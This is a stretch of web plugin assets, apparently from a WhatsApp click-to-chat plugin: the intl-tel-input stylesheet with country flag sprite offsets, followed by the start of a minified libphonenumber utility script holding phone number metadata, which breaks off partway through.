.iti__country-list .iti__flag, .iti__country-name {
  margin-right: var(--iti-spacer-horizontal);
}
[dir=rtl] .iti__country-list .iti__flag, [dir=rtl] .iti__country-name {
  margin-right: 0;
  margin-left: var(--iti-spacer-horizontal);
}
.iti--allow-dropdown .iti__country-container:not(:has(+ input[disabled])):not(:has(+ input[readonly])):hover, .iti--allow-dropdown .iti__country-container:not(:has(+ input[disabled])):not(:has(+ input[readonly])):hover button {
  cursor: pointer;
}
.iti--allow-dropdown .iti__country-container:not(:has(+ input[disabled])):not(:has(+ input[readonly])) .iti__selected-country-primary:hover,
.iti--allow-dropdown .iti__country-container:not(:has(+ input[disabled])):not(:has(+ input[readonly])) .iti__selected-country:has(+ .iti__dropdown-content:hover) .iti__selected-country-primary {
  background-color: var(--iti-hover-color);
}
.iti .iti__selected-dial-code {
  margin-left: 4px;
}
[dir=rtl] .iti .iti__selected-dial-code {
  margin-left: 0;
  margin-right: 4px;
}
.iti--container {
  position: fixed;
  top: -1000px;
  left: -1000px;
  z-index: 1060;
  padding: var(--iti-border-width);
}
.iti--container:hover {
  cursor: pointer;
}

.iti--fullscreen-popup.iti--container {
  background-color: rgba(0, 0, 0, 0.5);
  top: 0;
  bottom: 0;
  left: 0;
  right: 0;
  position: fixed;
  padding: var(--iti-mobile-popup-margin);
  display: flex;
  flex-direction: column;
  justify-content: flex-start;
}
.iti--fullscreen-popup .iti__dropdown-content {
  display: flex;
  flex-direction: column;
  max-height: 100%;
  position: relative;
}
.iti--fullscreen-popup .iti__country {
  padding: 10px 10px;
  line-height: 1.5em;
}

.iti__flag {
  --iti-flag-offset: 100px;
  height: var(--iti-flag-height);
  width: var(--iti-flag-width);
  border-radius: 1px;
  box-shadow: 0px 0px 1px 0px #888;
  background-image: var(--iti-path-flags-1x);
  background-repeat: no-repeat;
  background-position: var(--iti-flag-offset) 0;
  background-size: var(--iti-flag-sprite-width) var(--iti-flag-sprite-height);
}

.iti__ac {
  --iti-flag-offset: 0px;
}

.iti__ad {
  --iti-flag-offset: -16px;
}

.iti__ae {
  --iti-flag-offset: -32px;
}

.iti__af {
  --iti-flag-offset: -48px;
}

.iti__ag {
  --iti-flag-offset: -64px;
}

.iti__ai {
  --iti-flag-offset: -80px;
}

.iti__al {
  --iti-flag-offset: -96px;
}

.iti__am {
  --iti-flag-offset: -112px;
}

.iti__ao {
  --iti-flag-offset: -128px;
}

.iti__ar {
  --iti-flag-offset: -144px;
}

.iti__as {
  --iti-flag-offset: -160px;
}

.iti__at {
  --iti-flag-offset: -176px;
}

.iti__au {
  --iti-flag-offset: -192px;
}

.iti__aw {
  --iti-flag-offset: -208px;
}

.iti__ax {
  --iti-flag-offset: -224px;
}

.iti__az {
  --iti-flag-offset: -240px;
}

.iti__ba {
  --iti-flag-offset: -256px;
}

.iti__bb {
  --iti-flag-offset: -272px;
}

.iti__bd {
  --iti-flag-offset: -288px;
}

.iti__be {
  --iti-flag-offset: -304px;
}

.iti__bf {
  --iti-flag-offset: -320px;
}

.iti__bg {
  --iti-flag-offset: -336px;
}

.iti__bh {
  --iti-flag-offset: -352px;
}

.iti__bi {
  --iti-flag-offset: -368px;
}

.iti__bj {
  --iti-flag-offset: -384px;
}

.iti__bl {
  --iti-flag-offset: -400px;
}

.iti__bm {
  --iti-flag-offset: -416px;
}

.iti__bn {
  --iti-flag-offset: -432px;
}

.iti__bo {
  --iti-flag-offset: -448px;
}

.iti__bq {
  --iti-flag-offset: -464px;
}

.iti__br {
  --iti-flag-offset: -480px;
}

.iti__bs {
  --iti-flag-offset: -496px;
}

.iti__bt {
  --iti-flag-offset: -512px;
}

.iti__bw {
  --iti-flag-offset: -528px;
}

.iti__by {
  --iti-flag-offset: -544px;
}

.iti__bz {
  --iti-flag-offset: -560px;
}

.iti__ca {
  --iti-flag-offset: -576px;
}

.iti__cc {
  --iti-flag-offset: -592px;
}

.iti__cd {
  --iti-flag-offset: -608px;
}

.iti__cf {
  --iti-flag-offset: -624px;
}

.iti__cg {
  --iti-flag-offset: -640px;
}

.iti__ch {
  --iti-flag-offset: -656px;
}

.iti__ci {
  --iti-flag-offset: -672px;
}

.iti__ck {
  --iti-flag-offset: -688px;
}

.iti__cl {
  --iti-flag-offset: -704px;
}

.iti__cm {
  --iti-flag-offset: -720px;
}

.iti__cn {
  --iti-flag-offset: -736px;
}

.iti__co {
  --iti-flag-offset: -752px;
}

.iti__cr {
  --iti-flag-offset: -768px;
}

.iti__cu {
  --iti-flag-offset: -784px;
}

.iti__cv {
  --iti-flag-offset: -800px;
}

.iti__cw {
  --iti-flag-offset: -816px;
}

.iti__cx {
  --iti-flag-offset: -832px;
}

.iti__cy {
  --iti-flag-offset: -848px;
}

.iti__cz {
  --iti-flag-offset: -864px;
}

.iti__de {
  --iti-flag-offset: -880px;
}

.iti__dj {
  --iti-flag-offset: -896px;
}

.iti__dk {
  --iti-flag-offset: -912px;
}

.iti__dm {
  --iti-flag-offset: -928px;
}

.iti__do {
  --iti-flag-offset: -944px;
}

.iti__dz {
  --iti-flag-offset: -960px;
}

.iti__ec {
  --iti-flag-offset: -976px;
}

.iti__ee {
  --iti-flag-offset: -992px;
}

.iti__eg {
  --iti-flag-offset: -1008px;
}

.iti__eh {
  --iti-flag-offset: -1024px;
}

.iti__er {
  --iti-flag-offset: -1040px;
}

.iti__es {
  --iti-flag-offset: -1056px;
}

.iti__et {
  --iti-flag-offset: -1072px;
}

.iti__fi {
  --iti-flag-offset: -1088px;
}

.iti__fj {
  --iti-flag-offset: -1104px;
}

.iti__fk {
  --iti-flag-offset: -1120px;
}

.iti__fm {
  --iti-flag-offset: -1136px;
}

.iti__fo {
  --iti-flag-offset: -1152px;
}

.iti__fr {
  --iti-flag-offset: -1168px;
}

.iti__ga {
  --iti-flag-offset: -1184px;
}

.iti__gb {
  --iti-flag-offset: -1200px;
}

.iti__gd {
  --iti-flag-offset: -1216px;
}

.iti__ge {
  --iti-flag-offset: -1232px;
}

.iti__gf {
  --iti-flag-offset: -1248px;
}

.iti__gg {
  --iti-flag-offset: -1264px;
}

.iti__gh {
  --iti-flag-offset: -1280px;
}

.iti__gi {
  --iti-flag-offset: -1296px;
}

.iti__gl {
  --iti-flag-offset: -1312px;
}

.iti__gm {
  --iti-flag-offset: -1328px;
}

.iti__gn {
  --iti-flag-offset: -1344px;
}

.iti__gp {
  --iti-flag-offset: -1360px;
}

.iti__gq {
  --iti-flag-offset: -1376px;
}

.iti__gr {
  --iti-flag-offset: -1392px;
}

.iti__gt {
  --iti-flag-offset: -1408px;
}

.iti__gu {
  --iti-flag-offset: -1424px;
}

.iti__gw {
  --iti-flag-offset: -1440px;
}

.iti__gy {
  --iti-flag-offset: -1456px;
}

.iti__hk {
  --iti-flag-offset: -1472px;
}

.iti__hn {
  --iti-flag-offset: -1488px;
}

.iti__hr {
  --iti-flag-offset: -1504px;
}

.iti__ht {
  --iti-flag-offset: -1520px;
}

.iti__hu {
  --iti-flag-offset: -1536px;
}

.iti__id {
  --iti-flag-offset: -1552px;
}

.iti__ie {
  --iti-flag-offset: -1568px;
}

.iti__il {
  --iti-flag-offset: -1584px;
}

.iti__im {
  --iti-flag-offset: -1600px;
}

.iti__in {
  --iti-flag-offset: -1616px;
}

.iti__io {
  --iti-flag-offset: -1632px;
}

.iti__iq {
  --iti-flag-offset: -1648px;
}

.iti__ir {
  --iti-flag-offset: -1664px;
}

.iti__is {
  --iti-flag-offset: -1680px;
}

.iti__it {
  --iti-flag-offset: -1696px;
}

.iti__je {
  --iti-flag-offset: -1712px;
}

.iti__jm {
  --iti-flag-offset: -1728px;
}

.iti__jo {
  --iti-flag-offset: -1744px;
}

.iti__jp {
  --iti-flag-offset: -1760px;
}

.iti__ke {
  --iti-flag-offset: -1776px;
}

.iti__kg {
  --iti-flag-offset: -1792px;
}

.iti__kh {
  --iti-flag-offset: -1808px;
}

.iti__ki {
  --iti-flag-offset: -1824px;
}

.iti__km {
  --iti-flag-offset: -1840px;
}

.iti__kn {
  --iti-flag-offset: -1856px;
}

.iti__kp {
  --iti-flag-offset: -1872px;
}

.iti__kr {
  --iti-flag-offset: -1888px;
}

.iti__kw {
  --iti-flag-offset: -1904px;
}

.iti__ky {
  --iti-flag-offset: -1920px;
}

.iti__kz {
  --iti-flag-offset: -1936px;
}

.iti__la {
  --iti-flag-offset: -1952px;
}

.iti__lb {
  --iti-flag-offset: -1968px;
}

.iti__lc {
  --iti-flag-offset: -1984px;
}

.iti__li {
  --iti-flag-offset: -2000px;
}

.iti__lk {
  --iti-flag-offset: -2016px;
}

.iti__lr {
  --iti-flag-offset: -2032px;
}

.iti__ls {
  --iti-flag-offset: -2048px;
}

.iti__lt {
  --iti-flag-offset: -2064px;
}

.iti__lu {
  --iti-flag-offset: -2080px;
}

.iti__lv {
  --iti-flag-offset: -2096px;
}

.iti__ly {
  --iti-flag-offset: -2112px;
}

.iti__ma {
  --iti-flag-offset: -2128px;
}

.iti__mc {
  --iti-flag-offset: -2144px;
}

.iti__md {
  --iti-flag-offset: -2160px;
}

.iti__me {
  --iti-flag-offset: -2176px;
}

.iti__mf {
  --iti-flag-offset: -2192px;
}

.iti__mg {
  --iti-flag-offset: -2208px;
}

.iti__mh {
  --iti-flag-offset: -2224px;
}

.iti__mk {
  --iti-flag-offset: -2240px;
}

.iti__ml {
  --iti-flag-offset: -2256px;
}

.iti__mm {
  --iti-flag-offset: -2272px;
}

.iti__mn {
  --iti-flag-offset: -2288px;
}

.iti__mo {
  --iti-flag-offset: -2304px;
}

.iti__mp {
  --iti-flag-offset: -2320px;
}

.iti__mq {
  --iti-flag-offset: -2336px;
}

.iti__mr {
  --iti-flag-offset: -2352px;
}

.iti__ms {
  --iti-flag-offset: -2368px;
}

.iti__mt {
  --iti-flag-offset: -2384px;
}

.iti__mu {
  --iti-flag-offset: -2400px;
}

.iti__mv {
  --iti-flag-offset: -2416px;
}

.iti__mw {
  --iti-flag-offset: -2432px;
}

.iti__mx {
  --iti-flag-offset: -2448px;
}

.iti__my {
  --iti-flag-offset: -2464px;
}

.iti__mz {
  --iti-flag-offset: -2480px;
}

.iti__na {
  --iti-flag-offset: -2496px;
}

.iti__nc {
  --iti-flag-offset: -2512px;
}

.iti__ne {
  --iti-flag-offset: -2528px;
}

.iti__nf {
  --iti-flag-offset: -2544px;
}

.iti__ng {
  --iti-flag-offset: -2560px;
}

.iti__ni {
  --iti-flag-offset: -2576px;
}

.iti__nl {
  --iti-flag-offset: -2592px;
}

.iti__no {
  --iti-flag-offset: -2608px;
}

.iti__np {
  --iti-flag-offset: -2624px;
}

.iti__nr {
  --iti-flag-offset: -2640px;
}

.iti__nu {
  --iti-flag-offset: -2656px;
}

.iti__nz {
  --iti-flag-offset: -2672px;
}

.iti__om {
  --iti-flag-offset: -2688px;
}

.iti__pa {
  --iti-flag-offset: -2704px;
}

.iti__pe {
  --iti-flag-offset: -2720px;
}

.iti__pf {
  --iti-flag-offset: -2736px;
}

.iti__pg {
  --iti-flag-offset: -2752px;
}

.iti__ph {
  --iti-flag-offset: -2768px;
}

.iti__pk {
  --iti-flag-offset: -2784px;
}

.iti__pl {
  --iti-flag-offset: -2800px;
}

.iti__pm {
  --iti-flag-offset: -2816px;
}

.iti__pr {
  --iti-flag-offset: -2832px;
}

.iti__ps {
  --iti-flag-offset: -2848px;
}

.iti__pt {
  --iti-flag-offset: -2864px;
}

.iti__pw {
  --iti-flag-offset: -2880px;
}

.iti__py {
  --iti-flag-offset: -2896px;
}

.iti__qa {
  --iti-flag-offset: -2912px;
}

.iti__re {
  --iti-flag-offset: -2928px;
}

.iti__ro {
  --iti-flag-offset: -2944px;
}

.iti__rs {
  --iti-flag-offset: -2960px;
}

.iti__ru {
  --iti-flag-offset: -2976px;
}

.iti__rw {
  --iti-flag-offset: -2992px;
}

.iti__sa {
  --iti-flag-offset: -3008px;
}

.iti__sb {
  --iti-flag-offset: -3024px;
}

.iti__sc {
  --iti-flag-offset: -3040px;
}

.iti__sd {
  --iti-flag-offset: -3056px;
}

.iti__se {
  --iti-flag-offset: -3072px;
}

.iti__sg {
  --iti-flag-offset: -3088px;
}

.iti__sh {
  --iti-flag-offset: -3104px;
}

.iti__si {
  --iti-flag-offset: -3120px;
}

.iti__sj {
  --iti-flag-offset: -3136px;
}

.iti__sk {
  --iti-flag-offset: -3152px;
}

.iti__sl {
  --iti-flag-offset: -3168px;
}

.iti__sm {
  --iti-flag-offset: -3184px;
}

.iti__sn {
  --iti-flag-offset: -3200px;
}

.iti__so {
  --iti-flag-offset: -3216px;
}

.iti__sr {
  --iti-flag-offset: -3232px;
}

.iti__ss {
  --iti-flag-offset: -3248px;
}

.iti__st {
  --iti-flag-offset: -3264px;
}

.iti__sv {
  --iti-flag-offset: -3280px;
}

.iti__sx {
  --iti-flag-offset: -3296px;
}

.iti__sy {
  --iti-flag-offset: -3312px;
}

.iti__sz {
  --iti-flag-offset: -3328px;
}

.iti__tc {
  --iti-flag-offset: -3344px;
}

.iti__td {
  --iti-flag-offset: -3360px;
}

.iti__tg {
  --iti-flag-offset: -3376px;
}

.iti__th {
  --iti-flag-offset: -3392px;
}

.iti__tj {
  --iti-flag-offset: -3408px;
}

.iti__tk {
  --iti-flag-offset: -3424px;
}

.iti__tl {
  --iti-flag-offset: -3440px;
}

.iti__tm {
  --iti-flag-offset: -3456px;
}

.iti__tn {
  --iti-flag-offset: -3472px;
}

.iti__to {
  --iti-flag-offset: -3488px;
}

.iti__tr {
  --iti-flag-offset: -3504px;
}

.iti__tt {
  --iti-flag-offset: -3520px;
}

.iti__tv {
  --iti-flag-offset: -3536px;
}

.iti__tw {
  --iti-flag-offset: -3552px;
}

.iti__tz {
  --iti-flag-offset: -3568px;
}

.iti__ua {
  --iti-flag-offset: -3584px;
}

.iti__ug {
  --iti-flag-offset: -3600px;
}

.iti__us {
  --iti-flag-offset: -3616px;
}

.iti__uy {
  --iti-flag-offset: -3632px;
}

.iti__uz {
  --iti-flag-offset: -3648px;
}

.iti__va {
  --iti-flag-offset: -3664px;
}

.iti__vc {
  --iti-flag-offset: -3680px;
}

.iti__ve {
  --iti-flag-offset: -3696px;
}

.iti__vg {
  --iti-flag-offset: -3712px;
}

.iti__vi {
  --iti-flag-offset: -3728px;
}

.iti__vn {
  --iti-flag-offset: -3744px;
}

.iti__vu {
  --iti-flag-offset: -3760px;
}

.iti__wf {
  --iti-flag-offset: -3776px;
}

.iti__ws {
  --iti-flag-offset: -3792px;
}

.iti__xk {
  --iti-flag-offset: -3808px;
}

.iti__ye {
  --iti-flag-offset: -3824px;
}

.iti__yt {
  --iti-flag-offset: -3840px;
}

.iti__za {
  --iti-flag-offset: -3856px;
}

.iti__zm {
  --iti-flag-offset: -3872px;
}

.iti__zw {
  --iti-flag-offset: -3888px;
}

.iti__globe {
  background-image: var(--iti-path-globe-1x);
  background-size: contain;
  background-position: right;
  box-shadow: none;
  height: 19px;
}

@media (min-resolution: 2x) {
  .iti__flag {
    background-image: var(--iti-path-flags-2x);
  }
  .iti__globe {
    background-image: var(--iti-path-globe-2x);
  }
}click-to-chat-for-whatsapp/new/admin/admin_assets/intl/js/utils.js000064400001005524147510273110021222 0ustar00(function () {/*

 Copyright The Closure Library Authors.
 SPDX-License-Identifier: Apache-2.0
*/
var k=this||self;function m(a,b){a=a.split(".");var c=k;a[0]in c||"undefined"==typeof c.execScript||c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length||void 0===b?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=b}function n(a,b){function c(){}c.prototype=b.prototype;a.ma=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.sa=function(d,e,f){for(var g=Array(arguments.length-2),h=2;h<arguments.length;h++)g[h-2]=arguments[h];return b.prototype[e].apply(d,g)}};function aa(a){const b=[];let c=0;for(const d in a)b[c++]=a[d];return b};var ca=class{constructor(a){if(ba!==ba)throw Error("SafeUrl is not meant to be built directly");this.g=a}toString(){return this.g.toString()}},ba={};new ca("about:invalid#zClosurez");new ca("about:blank");const ea={};class fa{constructor(){if(ea!==ea)throw Error("SafeStyle is not meant to be built directly");}toString(){return"".toString()}}new fa;const ha={};class ia{constructor(){if(ha!==ha)throw Error("SafeStyleSheet is not meant to be built directly");}toString(){return"".toString()}}new ia;const ja={};class ka{constructor(){var a=k.trustedTypes&&k.trustedTypes.emptyHTML||"";if(ja!==ja)throw Error("SafeHtml is not meant to be built directly");this.g=a}toString(){return this.g.toString()}}new ka;function la(a,b){this.g=a;this.l=!!b.aa;this.h=b.i;this.s=b.type;this.o=!1;switch(this.h){case ma:case na:case oa:case pa:case qa:case ra:case sa:this.o=!0}this.j=b.defaultValue}var sa=1,ra=2,ma=3,na=4,oa=6,pa=16,qa=18;function ta(a,b){this.h=a;this.g={};for(a=0;a<b.length;a++){var c=b[a];this.g[c.g]=c}}function ua(a){a=aa(a.g);a.sort(function(b,c){return b.g-c.g});return a};function p(){this.h={};this.j=this.m().g;this.g=this.l=null}p.prototype.has=function(a){return q(this,a.g)};p.prototype.get=function(a,b){return r(this,a.g,b)};p.prototype.set=function(a,b){t(this,a.g,b)};p.prototype.add=function(a,b){va(this,a.g,b)};
function wa(a,b){for(var c=ua(a.m()),d=0;d<c.length;d++){var e=c[d],f=e.g;if(q(b,f)){a.g&&delete a.g[e.g];var g=11==e.h||10==e.h;if(e.l){e=u(b,f);for(var h=0;h<e.length;h++)va(a,f,g?e[h].clone():e[h])}else e=v(b,f),g?(g=v(a,f))?wa(g,e):t(a,f,e.clone()):t(a,f,e)}}}p.prototype.clone=function(){var a=new this.constructor;a!=this&&(a.h={},a.g&&(a.g={}),wa(a,this));return a};function q(a,b){return null!=a.h[b]}
function v(a,b){var c=a.h[b];if(null==c)return null;if(a.l){if(!(b in a.g)){var d=a.l,e=a.j[b];if(null!=c)if(e.l){for(var f=[],g=0;g<c.length;g++)f[g]=d.h(e,c[g]);c=f}else c=d.h(e,c);return a.g[b]=c}return a.g[b]}return c}function r(a,b,c){var d=v(a,b);return a.j[b].l?d[c||0]:d}function w(a,b){if(q(a,b))a=r(a,b);else a:{a=a.j[b];if(void 0===a.j)if(b=a.s,b===Boolean)a.j=!1;else if(b===Number)a.j=0;else if(b===String)a.j=a.o?"0":"";else{a=new b;break a}a=a.j}return a}
function u(a,b){return v(a,b)||[]}function x(a,b){return a.j[b].l?q(a,b)?a.h[b].length:0:q(a,b)?1:0}function t(a,b,c){a.h[b]=c;a.g&&(a.g[b]=c)}function va(a,b,c){a.h[b]||(a.h[b]=[]);a.h[b].push(c);a.g&&delete a.g[b]}function y(a,b){var c=[],d;for(d in b)0!=d&&c.push(new la(d,b[d]));return new ta(a,c)};function z(){}z.prototype.g=function(a){new a.h;throw Error("Unimplemented");};z.prototype.h=function(a,b){if(11==a.h||10==a.h)return b instanceof p?b:this.g(a.s.prototype.m(),b);if(14==a.h)return"string"===typeof b&&xa.test(b)&&(a=Number(b),0<a)?a:b;if(!a.o)return b;a=a.s;if(a===String){if("number"===typeof b)return String(b)}else if(a===Number&&"string"===typeof b&&("Infinity"===b||"-Infinity"===b||"NaN"===b||xa.test(b)))return Number(b);return b};var xa=/^-?[0-9]+$/;function ya(){}n(ya,z);ya.prototype.g=function(a,b){a=new a.h;a.l=this;a.h=b;a.g={};return a};function B(){}n(B,ya);B.prototype.h=function(a,b){return 8==a.h?!!b:z.prototype.h.apply(this,arguments)};B.prototype.g=function(a,b){return B.ma.g.call(this,a,b)};function C(a,b){null!=a&&this.g.apply(this,arguments)}C.prototype.h="";C.prototype.set=function(a){this.h=""+a};C.prototype.g=function(a,b,c){this.h+=String(a);if(null!=b)for(let d=1;d<arguments.length;d++)this.h+=arguments[d];return this};function D(a){a.h=""}C.prototype.toString=function(){return this.h};/*

 Protocol Buffer 2 Copyright 2008 Google Inc.
 All other code copyright its respective owners.
 Copyright (C) 2010 The Libphonenumber Authors

 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
 You may obtain a copy of the License at

 http://www.apache.org/licenses/LICENSE-2.0

 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
*/
function E(){p.call(this)}n(E,p);var za=null;function F(){p.call(this)}n(F,p);var Aa=null;function G(){p.call(this)}n(G,p);var Ba=null;
E.prototype.m=function(){var a=za;a||(za=a=y(E,{0:{name:"NumberFormat",ia:"i18n.phonenumbers.NumberFormat"},1:{name:"pattern",required:!0,i:9,type:String},2:{name:"format",required:!0,i:9,type:String},3:{name:"leading_digits_pattern",aa:!0,i:9,type:String},4:{name:"national_prefix_formatting_rule",i:9,type:String},6:{name:"national_prefix_optional_when_formatting",i:8,defaultValue:!1,type:Boolean},5:{name:"domestic_carrier_code_formatting_rule",i:9,type:String}}));return a};E.m=E.prototype.m;
F.prototype.m=function(){var a=Aa;a||(Aa=a=y(F,{0:{name:"PhoneNumberDesc",ia:"i18n.phonenumbers.PhoneNumberDesc"},2:{name:"national_number_pattern",i:9,type:String},9:{name:"possible_length",aa:!0,i:5,type:Number},10:{name:"possible_length_local_only",aa:!0,i:5,type:Number},6:{name:"example_number",i:9,type:String}}));return a};F.m=F.prototype.m;
G.prototype.m=function(){var a=Ba;a||(Ba=a=y(G,{0:{name:"PhoneMetadata",ia:"i18n.phonenumbers.PhoneMetadata"},1:{name:"general_desc",i:11,type:F},2:{name:"fixed_line",i:11,type:F},3:{name:"mobile",i:11,type:F},4:{name:"toll_free",i:11,type:F},5:{name:"premium_rate",i:11,type:F},6:{name:"shared_cost",i:11,type:F},7:{name:"personal_number",i:11,type:F},8:{name:"voip",i:11,type:F},21:{name:"pager",i:11,type:F},25:{name:"uan",i:11,type:F},27:{name:"emergency",i:11,type:F},28:{name:"voicemail",i:11,type:F},
29:{name:"short_code",i:11,type:F},30:{name:"standard_rate",i:11,type:F},31:{name:"carrier_specific",i:11,type:F},33:{name:"sms_services",i:11,type:F},24:{name:"no_international_dialling",i:11,type:F},9:{name:"id",required:!0,i:9,type:String},10:{name:"country_code",i:5,type:Number},11:{name:"international_prefix",i:9,type:String},17:{name:"preferred_international_prefix",i:9,type:String},12:{name:"national_prefix",i:9,type:String},13:{name:"preferred_extn_prefix",i:9,type:String},15:{name:"national_prefix_for_parsing",
i:9,type:String},16:{name:"national_prefix_transform_rule",i:9,type:String},18:{name:"same_mobile_and_fixed_line_pattern",i:8,defaultValue:!1,type:Boolean},19:{name:"number_format",aa:!0,i:11,type:E},20:{name:"intl_number_format",aa:!0,i:11,type:E},22:{name:"main_country_for_code",i:8,defaultValue:!1,type:Boolean},23:{name:"leading_digits",i:9,type:String}}));return a};G.m=G.prototype.m;function H(){p.call(this)}n(H,p);var Ca=null,Da={ra:0,qa:1,pa:5,oa:10,na:20};
H.prototype.m=function(){var a=Ca;a||(Ca=a=y(H,{0:{name:"PhoneNumber",ia:"i18n.phonenumbers.PhoneNumber"},1:{name:"country_code",required:!0,i:5,type:Number},2:{name:"national_number",required:!0,i:4,type:Number},3:{name:"extension",i:9,type:String},4:{name:"italian_leading_zero",i:8,type:Boolean},8:{name:"number_of_leading_zeros",i:5,defaultValue:1,type:Number},5:{name:"raw_input",i:9,type:String},6:{name:"country_code_source",i:14,defaultValue:0,type:Da},7:{name:"preferred_domestic_carrier_code",
i:9,type:String}}));return a};H.ctor=H;H.ctor.m=H.prototype.m;/*

 Copyright (C) 2010 The Libphonenumber Authors

 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
 You may obtain a copy of the License at

 http://www.apache.org/licenses/LICENSE-2.0

 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
*/
var I={1:"US AG AI AS BB BM BS CA DM DO GD GU JM KN KY LC MP MS PR SX TC TT VC VG VI".split(" "),7:["RU","KZ"],20:["EG"],27:["ZA"],30:["GR"],31:["NL"],32:["BE"],33:["FR"],34:["ES"],36:["HU"],39:["IT","VA"],40:["RO"],41:["CH"],43:["AT"],44:["GB","GG","IM","JE"],45:["DK"],46:["SE"],47:["NO","SJ"],48:["PL"],49:["DE"],51:["PE"],52:["MX"],53:["CU"],54:["AR"],55:["BR"],56:["CL"],57:["CO"],58:["VE"],60:["MY"],61:["AU","CC","CX"],62:["ID"],63:["PH"],64:["NZ"],65:["SG"],66:["TH"],81:["JP"],82:["KR"],84:["VN"],
86:["CN"],90:["TR"],91:["IN"],92:["PK"],93:["AF"],94:["LK"],95:["MM"],98:["IR"],211:["SS"],212:["MA","EH"],213:["DZ"],216:["TN"],218:["LY"],220:["GM"],221:["SN"],222:["MR"],223:["ML"],224:["GN"],225:["CI"],226:["BF"],227:["NE"],228:["TG"],229:["BJ"],230:["MU"],231:["LR"],232:["SL"],233:["GH"],234:["NG"],235:["TD"],236:["CF"],237:["CM"],238:["CV"],239:["ST"],240:["GQ"],241:["GA"],242:["CG"],243:["CD"],244:["AO"],245:["GW"],246:["IO"],247:["AC"],248:["SC"],249:["SD"],250:["RW"],251:["ET"],252:["SO"],
253:["DJ"],254:["KE"],255:["TZ"],256:["UG"],257:["BI"],258:["MZ"],260:["ZM"],261:["MG"],262:["RE","YT"],263:["ZW"],264:["NA"],265:["MW"],266:["LS"],267:["BW"],268:["SZ"],269:["KM"],290:["SH","TA"],291:["ER"],297:["AW"],298:["FO"],299:["GL"],350:["GI"],351:["PT"],352:["LU"],353:["IE"],354:["IS"],355:["AL"],356:["MT"],357:["CY"],358:["FI","AX"],359:["BG"],370:["LT"],371:["LV"],372:["EE"],373:["MD"],374:["AM"],375:["BY"],376:["AD"],377:["MC"],378:["SM"],380:["UA"],381:["RS"],382:["ME"],383:["XK"],385:["HR"],
386:["SI"],387:["BA"],389:["MK"],420:["CZ"],421:["SK"],423:["LI"],500:["FK"],501:["BZ"],502:["GT"],503:["SV"],504:["HN"],505:["NI"],506:["CR"],507:["PA"],508:["PM"],509:["HT"],590:["GP","BL","MF"],591:["BO"],592:["GY"],593:["EC"],594:["GF"],595:["PY"],596:["MQ"],597:["SR"],598:["UY"],599:["CW","BQ"],670:["TL"],672:["NF"],673:["BN"],674:["NR"],675:["PG"],676:["TO"],677:["SB"],678:["VU"],679:["FJ"],680:["PW"],681:["WF"],682:["CK"],683:["NU"],685:["WS"],686:["KI"],687:["NC"],688:["TV"],689:["PF"],690:["TK"],
691:["FM"],692:["MH"],800:["001"],808:["001"],850:["KP"],852:["HK"],853:["MO"],855:["KH"],856:["LA"],870:["001"],878:["001"],880:["BD"],881:["001"],882:["001"],883:["001"],886:["TW"],888:["001"],960:["MV"],961:["LB"],962:["JO"],963:["SY"],964:["IQ"],965:["KW"],966:["SA"],967:["YE"],968:["OM"],970:["PS"],971:["AE"],972:["IL"],973:["BH"],974:["QA"],975:["BT"],976:["MN"],977:["NP"],979:["001"],992:["TJ"],993:["TM"],994:["AZ"],995:["GE"],996:["KG"],998:["UZ"]},Ea={AC:[,[,,"(?:[01589]\\d|[46])\\d{4}",
,,,,,,[5,6]],[,,"6[2-467]\\d{3}",,,,"62889",,,[5]],[,,"4\\d{4}",,,,"40123",,,[5]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"AC",247,"00",,,,,,,,,,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"(?:0[1-9]|[1589]\\d)\\d{4}",,,,"542011",,,[6]],,,[,,,,,,,,,[-1]]],AD:[,[,,"(?:1|6\\d)\\d{7}|[135-9]\\d{5}",,,,,,,[6,8,9]],[,,"[78]\\d{5}",,,,"712345",,,[6]],[,,"690\\d{6}|[356]\\d{5}",,,,"312345",,,[6,9]],[,,"180[02]\\d{4}",,,,"18001234",,,[8]],[,,"[19]\\d{5}",,,,"912345",,,[6]],
[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"AD",376,"00",,,,,,,,[[,"(\\d{3})(\\d{3})","$1 $2",["[135-9]"]],[,"(\\d{4})(\\d{4})","$1 $2",["1"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["6"]]],,[,,,,,,,,,[-1]],,,[,,"1800\\d{4}",,,,,,,[8]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],AE:[,[,,"(?:[4-7]\\d|9[0-689])\\d{7}|800\\d{2,9}|[2-4679]\\d{7}",,,,,,,[5,6,7,8,9,10,11,12]],[,,"[2-4679][2-8]\\d{6}",,,,"22345678",,,[8],[7]],[,,"5[024-68]\\d{7}",,,,"501234567",,,[9]],[,,"400\\d{6}|800\\d{2,9}",,,,"800123456"],
